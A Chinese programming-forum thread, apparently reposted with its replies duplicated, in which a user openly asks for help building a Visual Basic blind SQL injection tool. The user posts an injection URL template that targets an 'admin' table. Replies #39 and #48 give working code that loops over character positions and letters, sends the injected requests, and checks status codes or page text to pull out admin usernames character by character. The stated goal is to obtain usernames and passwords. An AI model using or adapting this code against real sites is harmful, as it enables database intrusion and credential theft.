倾注所有,重分求解!!把分全送了,希望只求一解啊!5555555555

时间:2021-07-19 13:20:38
倾注所有,重分求解!!


问题是这样的,我有个关于网页的问题的判断啊,来此询问一下哈。

就是比如,我的程序提交http://www.sina.com/index.asp然后他访问到SINA的叶面,然后我提交
http://www.sina.com/indxe.asp你看我URL这样写错了,就访问不到了啊,然后就找不到叶面或者什么的,那么有什么方法能让程序来判断那个错了,那个对了呢!
然后取出对了的,不要错了的URL呢!
就是这样的哈,我说清楚点,比如,都是比如

http://www.xxx.com/list.asp?id=1  没这样饿,是比如

那么实际提交

http://www.xxx.com/list.asp?id=5 这样才能访问有文章的叶面,刚才那个id=1是没有文章的,那么怎么让程序判断有文章的,从而在下面的TEXT里面显示出正确能返回叶面的这个URL呢
就是,有点象死板的就是一个一个猜啊,程序运行时,比如我输入
ID=1 到100
那么让他去猜,从1走到100看都几个对了,那么就把那几个都显示出来啊,就是这样的功能,是配合我一个SQLINJECTS注射用的工具,希望你们能帮我好吗?我艘有分都给了,求求大家了,真的很重要!

实在太需要帮助了,谢谢各位了,谢谢了,帮帮我吧,我好难!!!

48 个解决方案

#1


没搞明白,帮你顶一下!!

#2


关注

#3


mark

#4


用inet控件,比较返回值

#5


mark

#6


对的,就是比较返回直,你说对了啊

FLYING告诉我怎么做啊,快!

个位帮忙了啊,就是比较返回直啊,55555555555不知道怎么比啊,现在是有点头目了,啊,有点开心,但是麻烦在后头呢,求求个位了,帮我一下了!

#7


Dim X As Integer, RetCode As Integer
For X = 1 To 100
    Inet1.Execute "http://www.xxx.com/list.asp?id=" & Format(X), "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        MsgBox "OK"
    Case 404
        MsgBox "Not Found"
    Case Else
        MsgBox "Error"
    End Select
Next X

#8


Private Sub Command1_Click()
Text1.Text = Inet1.OpenURL("www.ourfly.com")
'如果没有该网址,返回0
MsgBox Len(Inet1.OpenURL("www.otrhyfbfghrtnb.net"))
End Sub

#9


//'如果没有该网址,返回0

不对,如果有自定义错误页的话就有内容

所以还是用HTTP返回码判断好

#10


现在能明白一些了,那么这个问题哦,我写给你们看哦,希望你们能帮我,谢谢了,太感激了!!!


当然我是随便写一下,不然URL长,这个URL当然是做比例用的,呵呵,看

http://www.xx.com/list.asp?id=1=r  ‘这个是正确的有文章URL

那么我的程序是要
比如我填入值是1 to 5
那么要让程序一个一个试,就是这样
http://www.xx.com/list.asp?id=1=a 从a-z一个一个试
如果对了,比如,http://www.xx.com/list.asp?id=1=a
http://www.xx.com/list.asp?id=1=b
http://www.xx.com/list.asp?id=1=c
http://www.xx.com/list.asp?id=1=d
..............
一直http://www.xx.com/list.asp?id=1=r
到r对了,那么就把这个R纪录到TEXT。TEXT文本里面,然后继续下面的
http://www.xx.com/list.asp?id=2=a
http://www.xx.com/list.asp?id=2=b
http://www.xx.com/list.asp?id=2=c
http://www.xx.com/list.asp?id=2=d
....................一直走,比如
http://www.xx.com/list.asp?id=2=f  '这个才是正确的URL,那么,他就走到这里就换
http://www.xx.com/list.asp?id=3=a有开始走,一个一个试
由于我上面填的值是5,所以说,要试5个,
http://www.xx.com/list.asp?id=5=a
这样一直弄,得到结果,因为1到5个,所以每个只有一个正确的字母,那么就一个一个的显示到TEXT1。TEXT里面啊,这样的程序怎么做啊,我就是循环不会啊,
前面的http://www.xx.com/list.asp?id=2=a
id是母的样子,=a这个是子的样子,反正就是先循环子的,也就是先循环A的,然后在一个一个ID的加,这样的,你们能明白吧,这个怎么做啊,谢谢了,谢谢大家了,我急坏了!!

#11


大家帮我看看啊,

#12


http://www.xxx.com/list.asp?id=535 and 1=(select min(id) from admin where mid(username,B,1)='V')

这个URL,B是变量,V也是变量,
V的值是A-Z一个一个字母的来,那么可以用ASCII码的,偶不会,还有
B变量,是我们添加的
比如B写成5
那么就是循环1 TO 5
比如写成10
那么就循环1 TO 10那程序怎么做呢,我想不来啊

#13


#14


挖,看来这个问题有点难度了,哎

#15


可以把问提说的简单一点吗?我没听清楚

#16


http://www.xxx.com/list.asp?id=1&a        没有这样的地址拉,我是比例

http://www.xxx.com/list.asp?id=5&z         

上面是头,下面是尾,那么就是上面一直走,一直循环走
ID 1  A-Z走完,取出正确的字母,然后在调到
ID 2  A-Z在走,在取出啊,就是要这样的
我们可以把ID=多少,设置成变量啊,来循环,不知道怎么循环啊,!

#17


偶的方法是直接比较OpenURL返回的页面里是否包含错误信息,然后整个测试是用递归实现的,呵呵
http://expert.csdn.net/Expert/topic/3003/3003176.xml?temp=.6307794

#18


超级绿豆,我简直太喜欢你了饿,谢谢你,kiss you,你太棒的,我就是要这个

呵呵,看来我们也是同行啊,我想和你认识一下,行么?谢谢绿豆哥哥!

#19


这里应该不会有太多人和我是同行吧,呵呵……
我们在这里不是已经认识了么……^_^

对了,那代码可不能拿去乱~~用~~哦,学学算法就好了,知道不 :P

#20


不是,绿豆哥哥

我给你我臭哥用的DELPHI写的程序,我用VB也要写出象那样功能的,苦于算法问题,你能帮忙修改一下吗?太谢谢你了,谢谢了!

#21


你给我C,Java我都还凑合,DELPHI我还真是……呵呵,没看过object pascal

#22


我的程序下载地址是,你帮我看看吧,绿豆哥哥

http://61.154.79.42:805/SQLINJ.rar

谢谢了!

#23


我不是叫你用DELPHI做,我哥哥他用DELPHI开发的软件,你看看他的注射的样子,和运行的,用VB做出差不多的功能出来,我是要这样啊,你误会了!

#24


请你看看,这个比你自己写的功能要少得太多太多了,只是一个功能就是弄出用户名和密码

啊,请你帮我看看啊,我实在想得头都大了,想不来啊,!

#25


呵呵,我一运行,瑞星就报警……*_MyPhoto

#26


不可能吧

#27


不是吧,别开玩笑啊,晕哦!

#28


我这里真没问题的啊,你帮我看看吧,真的,我这里真的一点事都没有,我都用SPANT和NORTON杀过了,什么都没发现,你怎么就说过呢,哎

#29


超级绿豆才不屑和我们这些人交朋友呢,
我给他发消息,想和他交朋友,但是人家竟然拒绝了!!
我考!好大的牌呀!!!!!

#30


啊,真的没有啊!我用生命当报啊,!

#31


MSN可以上了,hackate你到是上线呀?

#32


我被这个问题搞疯了,我要崩溃了啦!

#33


Option Explicit

Private Sub Form_Load()
         Dim i As Integer
         Dim j As Integer
         
         For i = 1 To 5
                For j = 97 To 122
                Debug.Print CStr(i) & "-" & Chr(j)
                Next j
         Next i

End Sub

#34


啊,啊,还以为是病毒了啊,都把我当成什么人了,我现在问问题反而被大家误解了,哎,算了吧,我或许都不该给这个程序,哎,对不起各位,你们如果觉得我一直在骗你们,那么我也没话说了!

#35


Private Sub guocheng()
Dim B As Integer
Dim strT As String
Dim V As Integer
Dim X As Integer, RetCode As Integer
'B = Val(Text4.Text)
For B = 1 To 100
    For V = 97 To 122
    Inet1.Execute Text2.Text & " "& cstr(B) &",1)='" & CHR(V) & "', "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        MsgBox "OK"
    Case 404
        MsgBox "Not Found"
    Case Else
        MsgBox "Error"
    End Select
Next B
End Sub

错了啊,不知道我那里连接错了啊
text2.text里面的URL是我们输入的,是可以定义的,所以我就这样写了,后面是
B,1)='V')
这个是固定的,所以我就没弄成TEXT了,所以就上面那样加了啊,可是错了啊,我不知道那里连接错了,我不太懂了,这个是双重循环B是变量,后面的,V是变量,比较优先的
text.text里面的内容是
http://www.xxx.com/list.asp?id=1 and 1=(select min(id) from admin where mid(username,
这个URL是不固定,的,固定是
B,1)='V)
所以完整应该是
http://www.xxx.com/list.asp?id=1 and 1=(select min(id) from admin where mid(username,B,1)='V)
不知道怎么把他合并到上面的程序代码中,好点呢,不会出错,我字符串连接可能都有问题的

#36


该回复被版主删除

#37


mark

#38


帮帮我啊,我真的不知道怎么做啊!

#39


你试试这样看先

Private Sub Command1_Click()
Dim sURL As String, sReplace As String
Dim lPos As Long
sReplace = "B,1)='V'"
sURL = Text1.Text
lPos = InStr(sURL, sReplace)
sURL = Left(sURL, lPos - 1)
Call SearchURL(sURL, CLng(Text3.Text), CLng(Text4.Text))
End Sub

Sub SearchURL(ByVal sURL As String, ByVal lBegin As Long, ByVal lEnd As Long)
    On Error GoTo Error_Handler
    Dim i As Long
    Dim j As Long
    Dim sTestURL As String
    
    Dim lFreefile As Long, sFilename As String
    lFreefile = FreeFile
    sFilename = "c:\url.txt"
    
    Open sFilename For Output As #lFreefile
    
    For i = lBegin To lEnd
        For j = Asc("a") To Asc("z")
            sTestURL = sURL & CStr(i) & ",1)='" & Chr(j) & "'"
            If TestURL(sTestURL) Then
                Print #lFreefile, sTestURL
            End If
            Debug.Print sTestURL
        Next j
    Next i
    
    Close #lFreefile
    Exit Sub
Error_Handler:
    Close #lFreefile
End Sub

Function TestURL(ByVal sTestURL As String) As Boolean
    TestURL = False
    Dim RetCode As Long
    Inet1.Execute sTestURL, "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        TestURL = True
    End Select
End Function

#40


我做了啊,运行时候老出错啊,什么未找到方法或数据成员,晕哦!

#41


不行啊!,老是不行

#42


偶发给你的收到了么?

#43


?晕,都是什么人啊,写过程序没?一个递归不会用?
还有最好不要用Inet,还不如用xml.http

#44


超级绿豆你的方法,不行啊,错误啊!

#45


程序错误,而且你看你写的应该是

sReplace = "B,1)='V'"
因该是
sReplace = "B,1)='V')"

这样啊,我改了,我知道你的意思了,可是程序依然出错,真的,等你星期一来罗

#46


up

#47


mark

#48


同志在不在啊,你的问题,可能用特征字符比较好,下面是改过的,你再试试

Private Sub Command1_Click()
Dim sURL As String, sReplace As String
Dim lPos As Long
sReplace = "B,1)='V'"
sURL = Text1.Text
lPos = InStr(sURL, sReplace)
sURL = Left(sURL, lPos - 1)
Call SearchURL(sURL, CLng(Text3.Text), CLng(Text4.Text))
End Sub

Sub SearchURL(ByVal sURL As String, ByVal lBegin As Long, ByVal lEnd As Long)
    On Error GoTo Error_Handler
    Dim i As Long
    Dim j As Long
    Dim sTestURL As String
    
    Dim lFreefile As Long, sFilename As String
    lFreefile = FreeFile
    sFilename = "c:\url.txt"
    
    Open sFilename For Output As #lFreefile
    
    For i = lBegin To lEnd
        For j = Asc("a") To Asc("z")
            sTestURL = sURL & CStr(i) & ",1)='" & Chr(j) & "')"
            If TestURL(sTestURL) Then
                Print #lFreefile, sTestURL
            End If
            Debug.Print sTestURL
        Next j
    Next i
    
    Close #lFreefile
    Exit Sub
Error_Handler:
    Close #lFreefile
End Sub

Function TestURL(ByVal sTestURL As String) As Boolean
    TestURL = False
    Dim sHTML As String
    sHTML = Inet1.OpenURL(sTestURL)
    TestURL = IIf(InStr(sHTML, "没有找到相关文章") = 0, True, False)
End Function

#1


没搞明白,帮你顶一下!!

#2


关注

#3


mark

#4


用inet控件,比较返回值

#5


mark

#6


对的,就是比较返回直,你说对了啊

FLYING告诉我怎么做啊,快!

个位帮忙了啊,就是比较返回直啊,55555555555不知道怎么比啊,现在是有点头目了,啊,有点开心,但是麻烦在后头呢,求求个位了,帮我一下了!

#7


Dim X As Integer, RetCode As Integer
For X = 1 To 100
    Inet1.Execute "http://www.xxx.com/list.asp?id=" & Format(X), "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        MsgBox "OK"
    Case 404
        MsgBox "Not Found"
    Case Else
        MsgBox "Error"
    End Select
Next X

#8


Private Sub Command1_Click()
Text1.Text = Inet1.OpenURL("www.ourfly.com")
'如果没有该网址,返回0
MsgBox Len(Inet1.OpenURL("www.otrhyfbfghrtnb.net"))
End Sub

#9


//'如果没有该网址,返回0

不对,如果有自定义错误页的话就有内容

所以还是用HTTP返回码判断好

#10


现在能明白一些了,那么这个问题哦,我写给你们看哦,希望你们能帮我,谢谢了,太感激了!!!


当然我是随便写一下,不然URL长,这个URL当然是做比例用的,呵呵,看

http://www.xx.com/list.asp?id=1=r  ‘这个是正确的有文章URL

那么我的程序是要
比如我填入值是1 to 5
那么要让程序一个一个试,就是这样
http://www.xx.com/list.asp?id=1=a 从a-z一个一个试
如果对了,比如,http://www.xx.com/list.asp?id=1=a
http://www.xx.com/list.asp?id=1=b
http://www.xx.com/list.asp?id=1=c
http://www.xx.com/list.asp?id=1=d
..............
一直http://www.xx.com/list.asp?id=1=r
到r对了,那么就把这个R纪录到TEXT。TEXT文本里面,然后继续下面的
http://www.xx.com/list.asp?id=2=a
http://www.xx.com/list.asp?id=2=b
http://www.xx.com/list.asp?id=2=c
http://www.xx.com/list.asp?id=2=d
....................一直走,比如
http://www.xx.com/list.asp?id=2=f  '这个才是正确的URL,那么,他就走到这里就换
http://www.xx.com/list.asp?id=3=a有开始走,一个一个试
由于我上面填的值是5,所以说,要试5个,
http://www.xx.com/list.asp?id=5=a
这样一直弄,得到结果,因为1到5个,所以每个只有一个正确的字母,那么就一个一个的显示到TEXT1。TEXT里面啊,这样的程序怎么做啊,我就是循环不会啊,
前面的http://www.xx.com/list.asp?id=2=a
id是母的样子,=a这个是子的样子,反正就是先循环子的,也就是先循环A的,然后在一个一个ID的加,这样的,你们能明白吧,这个怎么做啊,谢谢了,谢谢大家了,我急坏了!!

#11


大家帮我看看啊,

#12


http://www.xxx.com/list.asp?id=535 and 1=(select min(id) from admin where mid(username,B,1)='V')

这个URL,B是变量,V也是变量,
V的值是A-Z一个一个字母的来,那么可以用ASCII码的,偶不会,还有
B变量,是我们添加的
比如B写成5
那么就是循环1 TO 5
比如写成10
那么就循环1 TO 10那程序怎么做呢,我想不来啊

#13


#14


挖,看来这个问题有点难度了,哎

#15


可以把问提说的简单一点吗?我没听清楚

#16


http://www.xxx.com/list.asp?id=1&a        没有这样的地址拉,我是比例

http://www.xxx.com/list.asp?id=5&z         

上面是头,下面是尾,那么就是上面一直走,一直循环走
ID 1  A-Z走完,取出正确的字母,然后在调到
ID 2  A-Z在走,在取出啊,就是要这样的
我们可以把ID=多少,设置成变量啊,来循环,不知道怎么循环啊,!

#17


偶的方法是直接比较OpenURL返回的页面里是否包含错误信息,然后整个测试是用递归实现的,呵呵
http://expert.csdn.net/Expert/topic/3003/3003176.xml?temp=.6307794

#18


超级绿豆,我简直太喜欢你了饿,谢谢你,kiss you,你太棒的,我就是要这个

呵呵,看来我们也是同行啊,我想和你认识一下,行么?谢谢绿豆哥哥!

#19


这里应该不会有太多人和我是同行吧,呵呵……
我们在这里不是已经认识了么……^_^

对了,那代码可不能拿去乱~~用~~哦,学学算法就好了,知道不 :P

#20


不是,绿豆哥哥

我给你我臭哥用的DELPHI写的程序,我用VB也要写出象那样功能的,苦于算法问题,你能帮忙修改一下吗?太谢谢你了,谢谢了!

#21


你给我C,Java我都还凑合,DELPHI我还真是……呵呵,没看过object pascal

#22


我的程序下载地址是,你帮我看看吧,绿豆哥哥

http://61.154.79.42:805/SQLINJ.rar

谢谢了!

#23


我不是叫你用DELPHI做,我哥哥他用DELPHI开发的软件,你看看他的注射的样子,和运行的,用VB做出差不多的功能出来,我是要这样啊,你误会了!

#24


请你看看,这个比你自己写的功能要少得太多太多了,只是一个功能就是弄出用户名和密码

啊,请你帮我看看啊,我实在想得头都大了,想不来啊,!

#25


呵呵,我一运行,瑞星就报警……*_MyPhoto

#26


不可能吧

#27


不是吧,别开玩笑啊,晕哦!

#28


我这里真没问题的啊,你帮我看看吧,真的,我这里真的一点事都没有,我都用SPANT和NORTON杀过了,什么都没发现,你怎么就说过呢,哎

#29


超级绿豆才不屑和我们这些人交朋友呢,
我给他发消息,想和他交朋友,但是人家竟然拒绝了!!
我考!好大的牌呀!!!!!

#30


啊,真的没有啊!我用生命当报啊,!

#31


MSN可以上了,hackate你到是上线呀?

#32


我被这个问题搞疯了,我要崩溃了啦!

#33


Option Explicit

Private Sub Form_Load()
         Dim i As Integer
         Dim j As Integer
         
         For i = 1 To 5
                For j = 97 To 122
                Debug.Print CStr(i) & "-" & Chr(j)
                Next j
         Next i

End Sub

#34


啊,啊,还以为是病毒了啊,都把我当成什么人了,我现在问问题反而被大家误解了,哎,算了吧,我或许都不该给这个程序,哎,对不起各位,你们如果觉得我一直在骗你们,那么我也没话说了!

#35


Private Sub guocheng()
Dim B As Integer
Dim strT As String
Dim V As Integer
Dim X As Integer, RetCode As Integer
'B = Val(Text4.Text)
For B = 1 To 100
    For V = 97 To 122
    Inet1.Execute Text2.Text & " "& cstr(B) &",1)='" & CHR(V) & "', "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        MsgBox "OK"
    Case 404
        MsgBox "Not Found"
    Case Else
        MsgBox "Error"
    End Select
Next B
End Sub

错了啊,不知道我那里连接错了啊
text2.text里面的URL是我们输入的,是可以定义的,所以我就这样写了,后面是
B,1)='V')
这个是固定的,所以我就没弄成TEXT了,所以就上面那样加了啊,可是错了啊,我不知道那里连接错了,我不太懂了,这个是双重循环B是变量,后面的,V是变量,比较优先的
text.text里面的内容是
http://www.xxx.com/list.asp?id=1 and 1=(select min(id) from admin where mid(username,
这个URL是不固定,的,固定是
B,1)='V)
所以完整应该是
http://www.xxx.com/list.asp?id=1 and 1=(select min(id) from admin where mid(username,B,1)='V)
不知道怎么把他合并到上面的程序代码中,好点呢,不会出错,我字符串连接可能都有问题的

#36


该回复被版主删除

#37


mark

#38


帮帮我啊,我真的不知道怎么做啊!

#39


你试试这样看先

Private Sub Command1_Click()
Dim sURL As String, sReplace As String
Dim lPos As Long
sReplace = "B,1)='V'"
sURL = Text1.Text
lPos = InStr(sURL, sReplace)
sURL = Left(sURL, lPos - 1)
Call SearchURL(sURL, CLng(Text3.Text), CLng(Text4.Text))
End Sub

Sub SearchURL(ByVal sURL As String, ByVal lBegin As Long, ByVal lEnd As Long)
    On Error GoTo Error_Handler
    Dim i As Long
    Dim j As Long
    Dim sTestURL As String
    
    Dim lFreefile As Long, sFilename As String
    lFreefile = FreeFile
    sFilename = "c:\url.txt"
    
    Open sFilename For Output As #lFreefile
    
    For i = lBegin To lEnd
        For j = Asc("a") To Asc("z")
            sTestURL = sURL & CStr(i) & ",1)='" & Chr(j) & "'"
            If TestURL(sTestURL) Then
                Print #lFreefile, sTestURL
            End If
            Debug.Print sTestURL
        Next j
    Next i
    
    Close #lFreefile
    Exit Sub
Error_Handler:
    Close #lFreefile
End Sub

Function TestURL(ByVal sTestURL As String) As Boolean
    TestURL = False
    Dim RetCode As Long
    Inet1.Execute sTestURL, "GET"
    Do While Inet1.StillExecuting: DoEvents: Loop
    RetCode = Val(Mid(Trim(Inet1.GetHeader), 10, 3))
    Select Case RetCode
    Case 200
        TestURL = True
    End Select
End Function

#40


我做了啊,运行时候老出错啊,什么未找到方法或数据成员,晕哦!

#41


不行啊!,老是不行

#42


偶发给你的收到了么?

#43


?晕,都是什么人啊,写过程序没?一个递归不会用?
还有最好不要用Inet,还不如用xml.http

#44


超级绿豆你的方法,不行啊,错误啊!

#45


程序错误,而且你看你写的应该是

sReplace = "B,1)='V'"
因该是
sReplace = "B,1)='V')"

这样啊,我改了,我知道你的意思了,可是程序依然出错,真的,等你星期一来罗

#46


up

#47


mark

#48


同志在不在啊,你的问题,可能用特征字符比较好,下面是改过的,你再试试

Private Sub Command1_Click()
Dim sURL As String, sReplace As String
Dim lPos As Long
sReplace = "B,1)='V'"
sURL = Text1.Text
lPos = InStr(sURL, sReplace)
sURL = Left(sURL, lPos - 1)
Call SearchURL(sURL, CLng(Text3.Text), CLng(Text4.Text))
End Sub

Sub SearchURL(ByVal sURL As String, ByVal lBegin As Long, ByVal lEnd As Long)
    On Error GoTo Error_Handler
    Dim i As Long
    Dim j As Long
    Dim sTestURL As String
    
    Dim lFreefile As Long, sFilename As String
    lFreefile = FreeFile
    sFilename = "c:\url.txt"
    
    Open sFilename For Output As #lFreefile
    
    For i = lBegin To lEnd
        For j = Asc("a") To Asc("z")
            sTestURL = sURL & CStr(i) & ",1)='" & Chr(j) & "')"
            If TestURL(sTestURL) Then
                Print #lFreefile, sTestURL
            End If
            Debug.Print sTestURL
        Next j
    Next i
    
    Close #lFreefile
    Exit Sub
Error_Handler:
    Close #lFreefile
End Sub

Function TestURL(ByVal sTestURL As String) As Boolean
    TestURL = False
    Dim sHTML As String
    sHTML = Inet1.OpenURL(sTestURL)
    TestURL = IIf(InStr(sHTML, "没有找到相关文章") = 0, True, False)
End Function